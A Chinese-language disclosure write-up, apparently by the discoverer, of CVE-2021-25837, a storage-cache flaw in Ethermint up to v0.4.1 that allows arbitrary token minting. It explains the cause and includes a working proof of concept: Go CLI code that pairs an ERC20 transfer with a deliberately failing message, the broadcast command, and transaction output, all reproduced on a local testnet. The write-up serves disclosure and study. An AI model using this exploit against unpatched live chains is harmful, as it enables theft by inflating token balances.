Ethermint CVE-2021-25837 解析

Ethermint是Cosmos下的区块链项目,它是基于Cosmos SDK和Tendrmint共识引擎实现的一个兼容以太坊的POS共识的区块链系统,简单来说它把EVM移植到了Cosmos SDK架构的区块链上并兼容实现了Web3 API。

Ethermint is a scalable, high-throughput Proof-of-Stake blockchain that is fully compatible and interoperable with Ethereum. It’s built using the Cosmos SDK which runs on top of Tendermint Core consensus engine.

今年初我在该项目中发现了一个可造成任意代币增发的一个严重漏洞(CVE-2021-25837),其存在于<=v0.4.1的所有版本,该漏洞的根本原因在于移植EVM引入了新的一层缓存,该缓存的生命周期设计存在缺陷,下文是对该漏洞的介绍与分析复现。

前置知识

Cosmos SDK

EVM执行流程

我们基于Ethermint使用的v1.9.25版本的go-ethereum对EVM的执行流程进行简要介绍:

https://github.com/ethereum/go-ethereum/tree/v1.9.25/core/vm

漏洞详情

合约中Storage缓存的生命周期与交易的处理周期不一致:一个合约的Storage会在当前区块中该合约初次被调用时从KVStore读入内存。之后再次调用该合约操作Storage时,会优先从内存中读写。 当交易成功后,会将内存中的Storage写回KVStore,并在Endblock阶段清空内存中的Storage。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
func (so *stateObject) GetState(db ethstate.Database, key ethcmn.Hash) ethcmn.Hash {
   prefixKey := so.GetStorageByAddressKey(key.Bytes())
 
   // if we have a dirty value for this state entry, return it
   idx, dirty := so.keyToDirtyStorageIndex[prefixKey]
   if dirty {
       return so.dirtyStorage[idx].Value
   }
 
   // otherwise return the entry's original value
   value := so.GetCommittedState(db, key)
   return value
}

交易处理过程中对KVStore进行的读写实际发生在msCache缓存上。只有当该交易中的所有msg都被处理成功时,才会将msCache缓存里的更改写入deliverState。并在Commit阶段,将deliverState中发生的状态更改写入主状态。如果对一笔交易的处理在EVM执行成功后失败,那么Storage缓存和deliverState将不再同步。被污染的Storage缓存会对该区块内后续交易造成影响。
攻击者可利用该漏洞污染Storage缓存,非法操纵合约状态。假设有一个ERC20合约,且攻击者控制A、B、C三个账户。这三个账户余额分别为1ERC、0ERC、0ERC。
攻击者构建如下交易:
交易1包含两条msg,msg1中A调用合约向B转1ERC,msg2是一个注定失败的msg; 交易2中包含一个msg,即B调用合约向C转1ERC。
然后攻击者广播交易1与交易2,使两条交易在同一个区块中被先后处理。
当交易1被执行后,msg1会更新内存中Storage以及msCache的数据,但由于msg2的失败导致msCache中的修改不会被写回deliverState。
因此deliverState不会发生状态改变,但内存中Storage的修改被保留了下来。
这时存储的状态为:Storage cache: A:0, B: 1, C:0,deliverState: A:1, B: 0, C:0。
交易2中“B调用合约向C转1ERC”会被执行成功。
这时存储的状态为:Storage cache: A:0, B: 0, C:1,deliverState: A:1, B: 0, C:1。
可见,此时的deliverState中凭空多出了1个ERC。
在该区块结束后,deliverState中的状态改变被提交到主状态的持久化存储中,从而造成了代币增发。

漏洞复现

下面我们以v0.4.0版本为例,对该漏洞进行复现。

环境搭建

  1. 启动节点
1
2
3
4
5
git clone https://github.com/cosmos/ethermint.git
cd ethermint
git checkout v0.4.0
bash init.sh
ethermintcli rest-server --laddr "tcp://localhost:8545" --unlock-key mykey --chain-id ethermint-1 --trace
  1. 配置MetaMask
  • 将搭建的Ethermint测试网添加到MateMask

  • 使用ethermintcli keys unsafe-export-eth-key mykey导出私钥,并将其导入MateMask image.png

  • 返回MateMask主界面检查余额 image.png

漏洞利用

  1. 部署一个标准ERC20合约 image.png

该ERC20合约地址为0x829eb75adD23a77bae6c74A5f71D751feCd0c3e7 同时我们拥有以下三个账户,A为合约部署者,初始情况下A有1ERC,B C均无ERC
A: 0xF888BFEc92794988d535B39AAa1d022eEEF31369 1ERC B: 0x829d057a1070a1073faBF24D4F5faE343273a93e 0ERC C: 0xfb38Cc3A580c4FD35BE4758725Fc4cF5CB3dA241 0ERC

  1. 编写发送恶意合约调用交易Cli,在调用合约交易后跟上一条注定失败的msg
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
func GetCmdCallContract(cdc *codec.Codec) *cobra.Command {
	return &cobra.Command{
		Use:   "call [contract] [input]",
		Short: "Call Contract",
		Args:  cobra.ExactArgs(2),
		RunE: func(cmd *cobra.Command, args []string) error {
			cliCtx := context.NewCLIContext().WithCodec(cdc)
			inBuf := bufio.NewReader(cmd.InOrStdin())
			txBldr := auth.NewTxBuilderFromCLI(inBuf).WithTxEncoder(utils.GetTxEncoder(cdc))
			from := cliCtx.GetFromAddress()
			var toAddr sdk.AccAddress
			toAddr = common.HexToAddress(args[0]).Bytes()

			accRet := authtypes.NewAccountRetriever(cliCtx)
			if err := accRet.EnsureExists(from); err != nil {
				return err
			}

			_, nonce, err := accRet.GetAccountNumberSequence(from)
			if err != nil {
				return err
			}

			data, err := hexutil.Decode(args[1])
			if err != nil {
				return err
			}

			msg := types.NewMsgEthermint(nonce, &toAddr, sdk.NewIntFromUint64(0), ethermint.DefaultRPCGasLimit, sdk.NewIntFromUint64(ethermint.DefaultGasPrice), data, from)
			err = msg.ValidateBasic()
			if err != nil {
				return err
			}
			errMSg := bank.NewMsgSend(from, from, sdk.NewCoins(sdk.NewCoin("none", sdk.NewInt(1)))) // 注定失败的msg
			return utils.GenerateOrBroadcastMsgs(cliCtx, txBldr, []sdk.Msg{msg, errMSg})
		},
	}
}
  1. 使用我们编写的Cli工具与MetaMask分别发送一笔交易,并保证以下两个交易在一个区块中依次执行
  • 使用CLI将A拥有的1ERC转给B
1
ethermintcli tx evm call 0x829eb75adD23a77bae6c74A5f71D751feCd0c3e7 0xa9059cbb000000000000000000000000829d057a1070a1073fabf24d4f5fae343273a93e0000000000000000000000000000000000000000000000000de0b6b3a7640000 --from mykey
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
ethermintcli query tx 90EE90BD87114AA0E353765405D25C7FCD1D6C25F065A1F9449D39C4CFED2DDA
{
  "height": "4820",
  "txhash": "90EE90BD87114AA0E353765405D25C7FCD1D6C25F065A1F9449D39C4CFED2DDA",
  "codespace": "sdk",
  "code": 5,
  "raw_log": "insufficient funds: insufficient account funds; 97246321167999999980aphoton \u003c 1none: failed to execute message; message index: 1",
  "gas_wanted": "200000",
  "gas_used": "102140",
  "tx": {
    "type": "cosmos-sdk/StdTx",
    "value": {
      "msg": [
        {
          "type": "ethermint/MsgEthermint",
          "value": {
            "nonce": "62",
            "gasPrice": "20",
            "gas": "10000000",
            "to": "eth1s20twkkaywnhhtnvwjjlw8t4rlkdpsl8ml7fyp",
            "value": "0",
            "input": "qQWcuwAAAAAAAAAAAAAAAIKdBXoQcKEHP6vyTU9frjQyc6k+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADeC2s6dkAAA=",
            "from": "eth1lzytlmyj09yc34f4kwd258gz9mh0xymf7xwelt"
          }
        },
        {
          "type": "cosmos-sdk/MsgSend",
          "value": {
            "from_address": "eth1lzytlmyj09yc34f4kwd258gz9mh0xymf7xwelt",
            "to_address": "eth1lzytlmyj09yc34f4kwd258gz9mh0xymf7xwelt",
            "amount": [
              {
                "denom": "none",
                "amount": "1"
              }
            ]
          }
        }
      ],
      "fee": {
        "amount": [],
        "gas": "200000"
      },
      "signatures": [
        {
          "pub_key": {
            "type": "ethermint/PubKeyEthSecp256k1",
            "value": "A3Eo9z/jAKBJ33L2Czt9O0N/2ejM47EwEo1xgLEd2ARi"
          },
          "signature": "hqYzDa65iVTjAHkV9DiMTrGueU1VN3Bc4rLvRab5ttQrLvwT0hPChtj1RivVEhdU4cuTaOAJ2hF6go0pvABJyQA="
        }
      ],
      "memo": ""
    }
  },
  "timestamp": "2021-02-19T22:45:12Z"
}
  • B使用MetaMask正常转账给C 1ERC image.png

最终效果

利用成功,A C均有了1ERC,实现了恶意代币增发 image.png

结语

待完善